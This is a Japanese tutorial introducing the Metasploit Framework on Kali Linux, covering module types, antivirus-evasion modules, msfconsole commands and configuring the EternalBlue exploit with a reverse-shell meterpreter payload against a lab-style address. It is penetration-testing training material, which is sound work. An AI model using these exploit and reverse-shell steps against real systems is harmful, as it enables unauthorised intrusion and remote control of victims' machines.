【KALI LINUX】 Metasploit入門

 Metasploit の紹介

Metasploit は、最も広く使われているエクスプロイト・フレームワークです。Metasploitは、情報収集からエクスプロイト後まで、侵入テストのすべてのフェーズをサポートできる強力なツールです。

Metasploitには主に2つのバージョンがあります:

  • Metasploit Pro: タスクの自動化と管理を容易にする商用バージョン。このバージョンにはグラフィカル・ユーザー・インターフェース(GUI)があります。

  • Metasploit Framework:コマンドラインから動作するオープンソース版。今回は無料で使えるこちらをベースに進めます。

Metasploit Frameworkは、情報収集、スキャン、エクスプロイト、エクスプロイト開発、ポストエクスプロイトなどを可能にするツールのセットです。Metasploit Frameworkの主な用途は侵入テスト領域ですが、脆弱性調査やエクスプロイト開発にも役立ちます。

Metasploit Frameworkの主なコンポーネントをまとめると、以下のようになります;;

  • msfconsole: メインのコマンドラインインターフェイス。
  • Modules: エクスプロイト、スキャナ、ペイロードなどのサポートモジュール。
  • Tools: 脆弱性調査、脆弱性評価、侵入テストを支援するスタンドアロンツール。msfvenom、pattern_create、pattern_offsetなどがあります。

Metasploitの主な構成要素

Metasploit Framework を使用している間は、主に Metasploit コンソールを使用します。コンソールはmsfconsole コマンドを使って起動できます。コンソールは、Metasploit Framework の様々なモジュールと対話するための主要なインターフェースとなります。モジュールとは、Metasploit フレームワーク内の小さなコンポーネントで、脆弱性の利用、ターゲットのスキャン、ブルートフォース攻撃の実行など、特定のタスクを実行するために構築されています。

モジュールに入る前に、「脆弱性」、「エクスプロイト」、「ペイロード」という、今後頻繁に出てくる用語を整理しておきましょう。

  • エクスプロイト: ターゲット・システムに存在する脆弱性を利用するコードの一部。

  • 脆弱性: ターゲット・システムに影響を及ぼす設計、コーディング、ロジックの欠陥。脆弱性が悪用されると、機密情報が開示されたり、攻撃者がターゲット・システム上でコードを実行できるようになったりする。

  • ペイロード: ターゲットシステム上で実行されるコードのこと。

それぞれのモジュールとカテゴリを以下に示します。Metasploit コンソール (msfconsole) を使って操作することが可能です。

Auxiliary

scanners、crawlers、fuzzersなどのサポート・モジュールがあります。

$ cd /usr/share/metasploit-framework/modules | tree -L 1 auxiliary/
auxiliary/
├── admin
├── analyze
├── bnat
├── client
├── cloud
├── crawler
├── docx
├── dos
├── example.py
├── example.rb
├── fileformat
├── fuzzers
├── gather
├── parser
├── pdf
├── scanner
├── server
├── sniffer
├── spoof
├── sqli
├── voip
└── vsploit

21 directories, 2 files


Encoders 

Encoders は、シグネチャベースのアンチウイルスソリューションがそれらを見逃すことを期待して、エクスプロイトとペイロードをエンコードすることを可能にします。

シグネチャベースのアンチウイルスおよびセキュリティソリューションには、既知の脅威のデータベースがあります。疑わしいファイルをこのデータベースと比較することで脅威を検出し、一致した場合に警告を発します。ウイルス対策ソリューションが追加のチェックを行うことができるため、エンコーダの成功率は限られたものになります。

$ cd /usr/share/metasploit-framework/modules | tree -L 1 encoders/
encoders/
├── cmd
├── generic
├── mipsbe
├── mipsle
├── php
├── ppc
├── ruby
├── sparc
├── x64
└── x86

11 directories, 0 files

Evasion

エンコーダーはペイロードをエンコードしますが、アンチウイルスソフトを回避する直接的な試みとはみなされるべきではありません。一方、「evasion(回避)」モジュールは、多かれ少なかれそれを試みます。

$ cd /usr/share/metasploit-framework/modules | tree -L 2 evasion/
evasion/
└── windows
    ├── applocker_evasion_install_util.rb
    ├── applocker_evasion_msbuild.rb
    ├── applocker_evasion_presentationhost.rb
    ├── applocker_evasion_regasm_regsvcs.rb
    ├── applocker_evasion_workflow_compiler.rb
    ├── process_herpaderping.rb
    ├── syscall_inject.rb
    ├── windows_defender_exe.rb
    └── windows_defender_js_hta.rb

2 directories, 9 files

Exploits

標的となるシステムごとに整理されています。

$ cd /usr/share/metasploit-framework/modules | tree -L 1 exploits/
exploits/
├── aix
├── android
├── apple_ios
├── bsd
├── bsdi
├── dialup
├── example_linux_priv_esc.rb
├── example.py
├── example.rb
├── example_webapp.rb
├── firefox
├── freebsd
├── hpux
├── irix
├── linux
├── mainframe
├── multi
├── netware
├── openbsd
├── osx
├── qnx
├── solaris
├── unix
└── windows

21 directories, 4 files

NOPs

NOPs(No OPeration)は文字通り何もしません。インテルx86 CPUファミリでは0x90で表され、これ以降CPUは1サイクルの間何もしません。ペイロードサイズを一定にするためのバッファとしてよく使われます。

$ cd /usr/share/metasploit-framework/modules | tree -L 1 nops/
nops/
├── aarch64
├── armle
├── cmd
├── mipsbe
├── php
├── ppc
├── sparc
├── tty
├── x64
└── x86

11 directories, 0 files

Payloads

ペイロードとは、ターゲット・システム上で実行されるコードのことで す。

エクスプロイトはターゲットシステムの脆弱性を活用しますが、望ましい結果を得るためにはペイロードが必要です。例えば、シェルの取得、ターゲットシステムへのマルウェアやバックドアのロード、コマンドの実行、侵入テストレポートに追加する概念実証としてのcalc.exeの起動などが考えられます。calc.exeアプリケーションを起動することで、ターゲットシステム上で電卓をリモートで起動することは、ターゲットシステム上でコマンドを実行できることを示す良性の方法です。

ターゲットシステム上でコマンドを実行することは既に重要なステップですが、ターゲットシステム上で実行されるコマンドを入力できる対話型接続を持つことは、より良いことです。このような対話型のコマンドラインは「シェル」と呼ばれます。Metasploit は、ターゲットシステム上でシェルを開くことができる様々なペイロードを送信する機能を提供します。

$ cd /usr/share/metasploit-framework/modules | tree -L 1 payloads/
payloads/
├── adapters
├── singles
├── stagers
└── stages

5 directories, 0 files

payloadsの下に、adapters、singles、stagers、stagesの4つの異なるディレクトリがあります。

  • Adapters: adapter は単一のペイロードをラップして、異なる形式に変換します。例えば、通常のシングルペイロードはPowershell adapterの中にラップすることができ、これによりペイロードを実行する単一のpowershellコマンドが作成されます。

  • Singles: 実行するために追加のコンポーネントをダウンロードする必要のない、自己完結型のペイロード(ユーザーの追加、notepad.exe の起動など)。

  • Stagers: Metasploitとターゲットシステム間の接続チャネルを設定します。ステージングされたペイロードを扱うときに便利です。「ステージングされたペイロード」は、まずターゲットシステム上にstagerをアップロードし、その後ペイロードの残りの部分(stage)をダウンロードします。これにより、ペイロードの初期サイズが一度に送信される完全なペイロードに比べて比較的小さくなるため、いくつかの利点があります。

  • Stage : stagerによってダウンロードされる。これにより、より大きなサイズのペイロードを使用できるようになります。

Post

Post モジュールは、上記の侵入テスト・プロセスの最終段階である「侵入後」に役立ちます。

$ cd /usr/share/metasploit-framework/modules | tree -L 1 post/
post/
├── aix
├── android
├── apple_ios
├── bsd
├── firefox
├── hardware
├── linux
├── multi
├── networking
├── osx
├── solaris
└── windows

13 directories, 0 files

Msfconsole

前述したように、コンソールは Metasploit Framework へのメインインターフェイスになります。Metasploit Frameworkがインストールされたシステム上でmsfconsoleコマンドを使って起動することができます。

$ msfconsole
Metasploit tip: Enable HTTP request and response logging with set HttpTrace
true

                          ########                  #
                      #################            #
                   ######################         #
                  #########################      #
                ############################
               ##############################
               ###############################
              ###############################
              ##############################
                              #    ########   #
                 ##        ###        ####   ##
                                      ###   ###
                                    ####   ###
               ####          ##########   ####
               #######################   ####
                 ####################   ####
                  ##################  ####
                    ############      ##
                       ########        ###
                      #########        #####
                    ############      ######
                   ########      #########
                     #####       ########
                       ###       #########
                      ######    ############
                     #######################
                     #   #   ###  #   #   ##
                     ########################
                      ##     ##   ##     ##
                            https://metasploit.com


       =[ metasploit v6.4.18-dev                          ]
+ -- --=[ 2437 exploits - 1255 auxiliary - 429 post       ]
+ -- --=[ 1468 payloads - 47 encoders - 11 nops           ]
+ -- --=[ 9 evasion                                       ]

Metasploit Documentation: https://docs.metasploit.com/

msf6 >

起動すると、コマンドラインが msf6 (インストールされている Metasploit のバージョンによっては msf5) に変わるのがわかるでしょう。Metasploitコンソール(msfconsole)は、以下のように通常のコマンドラインシェルと同じように使うことができます。最初のコマンドは ls で、msfconsole コマンドを使って Metasploit を起動したフォルダの中身を一覧表示します。

続いて、GoogleのDNS IPアドレス(8.8.8.8)にpingを送信します。-c 1オプションを追加しないと、CTRL+Cで停止するまでpingプロセスが続きます。

msf6 > ls
[*] exec: ls

auxiliary  encoders  evasion  exploits  nops  payloads  post  README.md
msf6 > ping -c 1 8.8.8.8
[*] exec: ping -c 1 8.8.8.8

PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=108 time=95.3 ms

--- 8.8.8.8 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 95.286/95.286/95.286/0.000 ms
msf6 >

これは、clear(ターミナル画面をクリアする)を含むほとんどのLinuxコマンドをサポートしますが、以下のように、通常のコマンドラインのいくつかの機能を使用することはできません(例えば、出力のリダイレクトをサポートしていません)。

msf6 > help > help.txt
[-] No such command
msf6 >

ちなみに、helpコマンドは単独で使うことも、特定のコマンドに対して使うこともできます。以下は、これから取り上げるセットコマンドのヘルプメニューで す。

msf6 > help set
Usage: set [options] [name] [value]

Set the given option to value.  If value is omitted, print the current value.
If both are omitted, print options that are currently set.

If run from a module context, this will set the value in the module's
datastore.  Use -g to operate on the global datastore.

If setting a PAYLOAD, this command can take an index from `show payloads'.

OPTIONS:

    -c, --clear   Clear the values, explicitly setting to nil (default)
    -g, --global  Operate on global datastore variables
    -h, --help    Help banner.

msf6 >

history コマンドを使えば、以前に入力したコマンドを見ることができます。

msf6 > history
1   search smtp_version
・
・
・
59  show options
60  quit
61  ls
62  ping -c 1 8.8.8.8
63  help > help.txt
64  help set
65  history
msf6 >

msfconsole の重要な機能は、タブ補完のサポートです。これは後で Metasploit コマンドを使ったり、モジュールを扱ったりするときに便利です。例えば、「he」と入力し始め、タブキーを押すと、自動で補完されるのがわかります。

Msfconsoleはコンテキストで管理されます。つまり、グローバル変数として設定しない限り、使用するモジュールを変更すると、すべてのパラメータ設定が失われます。以下の例では、ms17_010_eternalblueエクスプロイトを使用し、RHOSTSなどのパラメータを設定しています。別のモジュール(ポートスキャナーなど)に切り替えた場合、行ったすべての変更がms17_010_eternalblue exploitのコンテキストに残るため、RHOSTS値を再度設定する必要があります。

この機能をよりよく理解するために、以下の例を見てみましょう。ここでは、説明のためにMS17-010「Eternalblue」エクスプロイトを使用します。

use exploit/windows/smb/ms17_010_eternalblueコマンドを入力すると、コマンド・ライン・プロンプトがmsf6から「msf6 exploit(windows/smb/ms17_010_eternalblue)」に変わるのがわかります。「EternalBlue」は、米国家安全保障局(N.S.A.)が開発したとされるエクスプロイトで、多数のWindowsシステム上のSMBv1サーバーに影響する脆弱性です。SMB(Server Message Block)は、ファイル共有やプリンターへのファイル送信など、Windowsネットワークで広く使われています。EternalBlueは2017年4月にサイバー犯罪者グループ「Shadow Brokers」によってリークさ れました。2017年5月、この脆弱性はWannaCryランサムウェア攻撃において世界中で悪用されました。

msf6 > use exploit/windows/smb/ms17_010_eternalblue
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) >

使用するモジュールは、useコマンドの後に検索結果の行頭の番号を続けて入力しても選択できます。

プロンプトは変わりましたが、以前紹介したコマンドはまだ実行できることにお気づきでしょう。これは、オペレーティング・システムのコマンドラインで通常期待されるように、フォルダを「入力」していないことを意味します。

msf6 exploit(windows/smb/ms17_010_eternalblue) > ls
[*] exec: ls

auxiliary  encoders  evasion  exploits  nops  payloads  post  README.md
msf6 exploit(windows/smb/ms17_010_eternalblue) >

プロンプトが、これから作業するコンテキストが設定されたことを教えてくれます。これは、show optionsコマンドを入力することで確認できます。

msf6 exploit(windows/smb/ms17_010_eternalblue) > show options

Module options (exploit/windows/smb/ms17_010_eternalblue):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   RHOSTS                          yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/
                                             using-metasploit.html
   RPORT          445              yes       The target port (TCP)
   SMBDomain                       no        (Optional) The Windows domain to use for authentication. Only affects Windows Ser
                                             ver 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
   SMBPass                         no        (Optional) The password for the specified username
   SMBUser                         no        (Optional) The username to authenticate as
   VERIFY_ARCH    true             yes       Check if remote architecture matches exploit Target. Only affects Windows Server
                                             2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
   VERIFY_TARGET  true             yes       Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, W
                                             indows 7, Windows Embedded Standard 7 target machines.


Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     172.29.55.196    yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Target



View the full module info with the info, or info -d command.

msf6 exploit(windows/smb/ms17_010_eternalblue) >

これは、先に選択したエクスプロイトに関連するオプションを表示するものです。show optionsコマンドは、使用するコンテキストによって出力が異なります。上記の例では、このエクスプロイトではRHOSTSやRPORTなどの変数を設定する必要があることを示しています。

showコマンドは、モジュールの種類(auxiliary、payload、exploitなど)の後に続けて、利用可能なモジュールを一覧表示する任意のコンテキストで使用できます。以下の例では、ms17-010 Eternalblueエクスプロイトで使用できるペイロードを一覧表示しています。

msf6 exploit(windows/smb/ms17_010_eternalblue) > show payloads

Compatible Payloads
===================

   #   Name                                                Disclosure Date  Rank    Check  Description
   -   ----                                                ---------------  ----    -----  -----------
   0   payload/generic/custom                              .                normal  No     Custom Payload
   1   payload/generic/shell_bind_aws_ssm                  .                normal  No     Command Shell, Bind SSM (via AWS API)
   2   payload/generic/shell_bind_tcp                      .                normal  No     Generic Command Shell, Bind TCP Inline
  ・
  ・
  ・
   71  payload/windows/x64/vncinject/reverse_tcp_uuid      .                normal  No     Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager with UUID Support (Windows x64)
   72  payload/windows/x64/vncinject/reverse_winhttp       .                normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (winhttp)
   73  payload/windows/x64/vncinject/reverse_winhttps      .                normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTPS Stager (winhttp)

msf6 exploit(windows/smb/ms17_010_eternalblue) >

msfconsole プロンプトから使用すると、show コマンドはすべてのモジュールを一覧表示します。

これまで見てきたuseとshow optionsコマンドは、Metasploitのすべてのモジュールで同じです。

backコマンドを使えば、コンテキストから抜けることができます。

msf6 exploit(windows/smb/ms17_010_eternalblue) > back
msf6 >

モジュールの詳細情報は、そのモジュールのコンテキスト内でinfoコマンドをタイプすることで得られます。

msf6 exploit(windows/smb/ms17_010_eternalblue) > info

       Name: MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
     Module: exploit/windows/smb/ms17_010_eternalblue
   Platform: Windows
       Arch: x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2017-03-14

Provided by:
  Equation Group
  Shadow Brokers
  sleepya
  Sean Dillon <sean.dillon@risksense.com>
  Dylan Davis <dylan.davis@risksense.com>
  thelightcosine
  wvu <wvu@metasploit.com>
  agalway-r7
  cdelafuente-r7
  cdelafuente-r7
  agalway-r7

Available targets:
      Id  Name
      --  ----
  =>  0   Automatic Target
      1   Windows 7
      2   Windows Embedded Standard 7
      3   Windows Server 2008 R2
      4   Windows 8
      5   Windows 8.1
      6   Windows Server 2012
      7   Windows 10 Pro
      8   Windows 10 Enterprise Evaluation

Check supported:
  Yes

Basic options:
  Name           Current Setting  Required  Description
  ----           ---------------  --------  -----------
  RHOSTS                          yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/u
                                            sing-metasploit.html
  RPORT          445              yes       The target port (TCP)
  SMBDomain                       no        (Optional) The Windows domain to use for authentication. Only affects Windows Serv
                                            er 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
  SMBPass                         no        (Optional) The password for the specified username
  SMBUser                         no        (Optional) The username to authenticate as
  VERIFY_ARCH    true             yes       Check if remote architecture matches exploit Target. Only affects Windows Server 2
                                            008 R2, Windows 7, Windows Embedded Standard 7 target machines.
  VERIFY_TARGET  true             yes       Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, Wi
                                            ndows 7, Windows Embedded Standard 7 target machines.

Payload information:
  Space: 2000

Description:
  This module is a port of the Equation Group ETERNALBLUE exploit, part of
  the FuzzBunch toolkit released by Shadow Brokers.

  There is a buffer overflow memmove operation in Srv!SrvOs2FeaToNt. The size
  is calculated in Srv!SrvOs2FeaListSizeToNt, with mathematical error where a
  DWORD is subtracted into a WORD. The kernel pool is groomed so that overflow
  is well laid-out to overwrite an SMBv1 buffer. Actual RIP hijack is later
  completed in srvnet!SrvNetWskReceiveComplete.

  This exploit, like the original may not trigger 100% of the time, and should be
  run continuously until triggered. It seems like the pool will get hot streaks
  and need a cool down period before the shells rain in again.

  The module will attempt to use Anonymous login, by default, to authenticate to perform the
  exploit. If the user supplies credentials in the SMBUser, SMBPass, and SMBDomain options it will use
  those instead.

  On some systems, this module may cause system instability and crashes, such as a BSOD or
  a reboot. This may be more likely with some payloads.

References:
  https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2017/MS17-010
  https://nvd.nist.gov/vuln/detail/CVE-2017-0143
  https://nvd.nist.gov/vuln/detail/CVE-2017-0144
  https://nvd.nist.gov/vuln/detail/CVE-2017-0145
  https://nvd.nist.gov/vuln/detail/CVE-2017-0146
  https://nvd.nist.gov/vuln/detail/CVE-2017-0147
  https://nvd.nist.gov/vuln/detail/CVE-2017-0148
  https://github.com/RiskSense-Ops/MS17-010
  https://risksense.com/wp-content/uploads/2018/05/White-Paper_Eternal-Blue.pdf
  https://www.exploit-db.com/exploits/42030

Also known as:
  ETERNALBLUE


View the full module info with the info -d command.

msf6 exploit(windows/smb/ms17_010_eternalblue) >

あるいは、msfconsoleのプロンプトから、infoコマンドの後にモジュールのパスを続けて使うこともできます(例:info exploit/windows/smb/ms17_010_eternalblue)。info はヘルプメニューではありません。作者や関連するソースなど、モジュールの詳細情報が表示されます。

検索

msfconsole で最も便利なコマンドのひとつに search があります。このコマンドは Metasploit Framework のデータベースから、指定された検索パラメータに関連するモジュールを検索します。CVE 番号、エクスプロイト名(eternalblue、heartbleed など)、ターゲットシステムを使用して検索を行うことができます。

msf6 > search ms17-010

Matching Modules
================

   #   Name                                           Disclosure Date  Rank     Check  Description
   -   ----                                           ---------------  ----     -----  -----------
   0   exploit/windows/smb/ms17_010_eternalblue       2017-03-14       average  Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
   1     \_ target: Automatic Target                  .                .        .      .
   2     \_ target: Windows 7                         .                .        .      .
   3     \_ target: Windows Embedded Standard 7       .                .        .      .
   4     \_ target: Windows Server 2008 R2            .                .        .      .
   5     \_ target: Windows 8                         .                .        .      .
   6     \_ target: Windows 8.1                       .                .        .      .
   7     \_ target: Windows Server 2012               .                .        .      .
   8     \_ target: Windows 10 Pro                    .                .        .      .
   9     \_ target: Windows 10 Enterprise Evaluation  .                .        .      .
   10  exploit/windows/smb/ms17_010_psexec            2017-03-14       normal   Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
   11    \_ target: Automatic                         .                .        .      .
   12    \_ target: PowerShell                        .                .        .      .
   13    \_ target: Native upload                     .                .        .      .
   14    \_ target: MOF upload                        .                .        .      .
   15    \_ AKA: ETERNALSYNERGY                       .                .        .      .
   16    \_ AKA: ETERNALROMANCE                       .                .        .      .
   17    \_ AKA: ETERNALCHAMPION                      .                .        .      .
   18    \_ AKA: ETERNALBLUE                          .                .        .      .
   19  auxiliary/admin/smb/ms17_010_command           2017-03-14       normal   No     MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
   20    \_ AKA: ETERNALSYNERGY                       .                .        .      .
   21    \_ AKA: ETERNALROMANCE                       .                .        .      .
   22    \_ AKA: ETERNALCHAMPION                      .                .        .      .
   23    \_ AKA: ETERNALBLUE                          .                .        .      .
   24  auxiliary/scanner/smb/smb_ms17_010             .                normal   No     MS17-010 SMB RCE Detection
   25    \_ AKA: DOUBLEPULSAR                         .                .        .      .
   26    \_ AKA: ETERNALBLUE                          .                .        .      .
   27  exploit/windows/smb/smb_doublepulsar_rce       2017-04-14       great    Yes    SMB DOUBLEPULSAR Remote Code Execution
   28    \_ target: Execute payload (x64)             .                .        .      .
   29    \_ target: Neutralize implant                .                .        .      .


Interact with a module by name or index. For example info 29, use 29 or use exploit/windows/smb/smb_doublepulsar_rce
After interacting with a module you can manually set a TARGET with set TARGET 'Neutralize implant'

msf6 >

検索コマンドの出力は、返された各モジュールの概要を提供します。name "カラムに、モジュール名以上の情報がすでに示されていることにお気づきでしょう。モジュールのタイプ(auxiliary、exploitなど)や、モジュールのカテゴリ(scanner、admin、windows、Unixなど)がわかります。検索結果で返されたモジュールは、コマンド use の後に、結果の行の先頭に番号を付けて使用することができます。(例:use auxiliary/admin/smb/ms17_010_commandの代わりに0を使用)

タイプやプラットフォームなどのキーワードで検索機能を指示することもできます。

例えば、検索結果に補助モジュールだけを含めたい場合は、typeをauxiliaryに設定します。以下のスクリーンショットは、search type:auxiliary telnetコマンドの出力を示しています。


msf6 > search type:auxiliary telnet

Matching Modules
================

   #   Name                                                              Disclosure Date  Rank    Check  Description
   -   ----                                                              ---------------  ----    -----  -----------
   0   auxiliary/server/capture/telnet                                   .                normal  No     Authentication Capture:
 Telnet
   1   auxiliary/scanner/telnet/brocade_enable_login                     .                normal  No     Brocade Enable Login Check Scanner
   2   auxiliary/dos/cisco/ios_telnet_rocem                              2017-03-17       normal  No     Cisco IOS Telnet Denial of Service
   3   auxiliary/admin/http/dlink_dir_300_600_exec_noauth                2013-02-04       normal  No     D-Link DIR-600 / DIR-300 Unauthenticated Remote Command Execution
   4   auxiliary/scanner/ssh/juniper_backdoor                            2015-12-20       normal  No     Juniper SSH Backdoor Scanner
   5   auxiliary/scanner/telnet/lantronix_telnet_password                .                normal  No     Lantronix Telnet Password Recovery
   6   auxiliary/scanner/telnet/lantronix_telnet_version                 .                normal  No     Lantronix Telnet Service Banner Detection
   7   auxiliary/dos/windows/ftp/iis75_ftpd_iac_bof                      2010-12-21       normal  No     Microsoft IIS FTP Server Encoded Response Overflow Trigger
   8   auxiliary/admin/http/netgear_pnpx_getsharefolderlist_auth_bypass  2021-09-06       normal  Yes    Netgear PNPX_GetShareFolderList Authentication Bypass
   9   auxiliary/admin/http/netgear_r6700_pass_reset                     2020-06-15       normal  Yes    Netgear R6700v3 Unauthenticated LAN Admin Password Reset
   10  auxiliary/admin/http/netgear_r7000_backup_cgi_heap_overflow_rce   2021-04-21       normal  Yes    Netgear R7000 backup.cgi Heap Overflow RCE
   11  auxiliary/scanner/telnet/telnet_ruggedcom                         .                normal  No     RuggedCom Telnet Password Generator
   12  auxiliary/scanner/telnet/satel_cmd_exec                           2017-04-07       normal  No     Satel Iberia SenNet Data Logger and Electricity Meters Command Injection Vulnerability
   13  auxiliary/scanner/telnet/telnet_login                             .                normal  No     Telnet Login Check Scanner
   14  auxiliary/scanner/telnet/telnet_version                           .                normal  No     Telnet Service Banner Detection
   15  auxiliary/scanner/telnet/telnet_encrypt_overflow                  .                normal  No     Telnet Service Encryption Key ID Overflow Detection


Interact with a module by name or index. For example info 15, use 15 or use auxiliary/scanner/telnet/telnet_encrypt_overflow

msf6 >

エクスプロイトはターゲットシステムの脆弱性を利用するものであり、常に予期せぬ挙動を示す可能性があります。低ランクのエクスプロイトが完璧に動作することもあれば、優秀なランクのエクスプロイトが動作しなかったり、最悪ターゲットシステムをクラッシュさせたりすることもあります。

モジュールを使う

先ほど見たように、useコマンドにモジュール名を続けて使ってモジュールのコンテキストに入ったら、パラメータを設定する必要があります。最も一般的なパラメータを以下に示します。使用するモジュールによっては、追加または異なるパラメーターを設定する必要があることを忘れないでください。show optionsコマンドを使って、必要なパラメーターをリストアップするのがよい方法です。

すべてのパラメータは同じコマンド構文で設定されます:

set PARAMETER_NAME VALUE

先に進む前に、常にmsfconsoleプロンプトをチェックして、正しいコンテキストにいることを確認してください。Metasploitを扱うとき、5つの異なるプロンプトが表示されるかも しれません。

  • 通常のコマンドプロンプト: ここではMetasploitコマンドは使えません。

─$

  • msfconsole プロンプト: msf6 (インストールされているバージョンによっては msf5) が msfconsole プロンプトです。見てわかるように、ここではコンテキストが設定されていないので、パラメータを設定したりモジュールを実行したりするコンテキスト固有のコマンドはここでは使えません。

msf6 >

  • コンテキストプロンプト: モジュールの使用を決定し、set コマンドを使ってモジュールを選択すると、msfconsole はコンテキストを表示します。ここでコンテキスト固有のコマンド(例えば set RHOSTS 10.10.x.x)を使うことができます。

msf6 exploit(windows/smb/ms17_010_eternalblue) >

  • Meterpreterプロンプト: 後程説明する重要なペイロードです。これは、Meterpreterエージェントがターゲットシステムにロードされ、接続されたことを意味します。ここではMeterpreter固有のコマンドを使うことができる。

meterpreter >

  • ターゲット・システム上のシェル: エクスプロイトが完了すると、ターゲット・システム上のコマンド・シェルにアクセスできるようになります。これは通常のコマンドラインであり、ここで入力されたコマンドはすべてターゲットシステム上で実行されます。

C:\Windows\system32>

前述したように、show optionsコマンドは利用可能なパラメーターをすべてリストアップします。

msf6 exploit(windows/smb/ms17_010_eternalblue) > show options

Module options (exploit/windows/smb/ms17_010_eternalblue):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   RHOSTS                          yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/
                                             using-metasploit.html
   RPORT          445              yes       The target port (TCP)
   SMBDomain                       no        (Optional) The Windows domain to use for authentication. Only affects Windows Ser
                                             ver 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
   SMBPass                         no        (Optional) The password for the specified username
   SMBUser                         no        (Optional) The username to authenticate as
   VERIFY_ARCH    true             yes       Check if remote architecture matches exploit Target. Only affects Windows Server
                                             2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
   VERIFY_TARGET  true             yes       Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, W
                                             indows 7, Windows Embedded Standard 7 target machines.


Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     172.29.55.196    yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Target



View the full module info with the info, or info -d command.

msf6 exploit(windows/smb/ms17_010_eternalblue) >

上のスクリーンショットにあるように、これらのパラメータの中には、エクスプロイトが機能するために値が必要なものがあります。いくつかの必要なパラメータ値は事前に入力されていますが、ターゲットに対してこれらが同じままであるべきかを確認してください。例えば、WebエクスプロイトではRPORT(リモートポート:Metasploitが接続を試み、エクスプロイトを実行するターゲットシステムのポート)の値が80にプリセットされている可能性がありますが、ターゲットのWebアプリケーションは8080ポートを使用している可能性があります。

この例では、setコマンドを使ってRHOSTSパラメーターにターゲット・システムのIPアドレスを設定します。

msf6 exploit(windows/smb/ms17_010_eternalblue) > set rhosts 10.10.165.39
rhosts => 10.10.165.39
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options

Module options (exploit/windows/smb/ms17_010_eternalblue):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   RHOSTS         10.10.165.39     yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/
                                             using-metasploit.html
   RPORT          445              yes       The target port (TCP)
   SMBDomain                       no        (Optional) The Windows domain to use for authentication. Only affects Windows Ser
                                             ver 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
   SMBPass                         no        (Optional) The password for the specified username
   SMBUser                         no        (Optional) The username to authenticate as
   VERIFY_ARCH    true             yes       Check if remote architecture matches exploit Target. Only affects Windows Server
                                             2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
   VERIFY_TARGET  true             yes       Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, W
                                             indows 7, Windows Embedded Standard 7 target machines.


Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     172.29.55.196    yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Target



View the full module info with the info, or info -d command.

msf6 exploit(windows/smb/ms17_010_eternalblue) >

パラメーターを設定したら、show optionsコマンドを使って、値が正しく設定されているか確認することができます。

よく使うパラメータは以下の通りです:

  • RHOSTS: "リモート・ホスト"、ターゲット・システムのIPアドレス。単一のIPアドレスまたはネットワーク範囲を設定できる。これは、CIDR(Classless Inter-Domain Routing)表記(/24、/16など)またはネットワーク範囲(10.10.10.x - 10.10.10.y)をサポートします。
  • RPORT: 「リモートポート」、脆弱なアプリケーションが実行されているターゲットシステム上のポート。
  • PAYLOAD: エクスプロイトで使用するペイロード。
  • LHOST:"Localhost"、攻撃マシン(Kali Linux)のIPアドレス。
  • LPORT: "ローカルポート"、リバースシェルが接続する際に使用するポート。これは攻撃しているマシンのポートで、他のアプリケーションに使われていない任意のポートに設定できます。
  • SESSION: Metasploit を使ってターゲットシステムに確立された各接続はセッション ID を持ちます。既存の接続を使用してターゲットシステムに接続するポストエクスプロイトモジュールでこれを使用します。
設定されたパラメータは、set コマンドを使って別の値で上書きすることができます。また、unset コマンドで任意のパラメータ値をクリアしたり、unset all コマンドですべての設定パラメータをクリアすることもできます。

msf6 exploit(windows/smb/ms17_010_eternalblue) > unset all
Unsetting datastore...
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options

Module options (exploit/windows/smb/ms17_010_eternalblue):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
